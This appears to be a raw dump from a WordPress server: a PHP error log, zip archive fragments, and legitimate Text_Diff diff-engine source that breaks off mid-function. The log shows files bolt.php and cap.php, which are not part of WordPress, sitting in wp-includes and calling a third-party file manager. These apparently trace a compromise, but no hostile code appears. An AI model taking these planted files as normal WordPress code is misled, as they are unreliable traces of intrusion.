[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
PK     |\p`\~  \~  
  Engine.zipnu [        PK     |\Eћ      
  string.phpnu [        <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
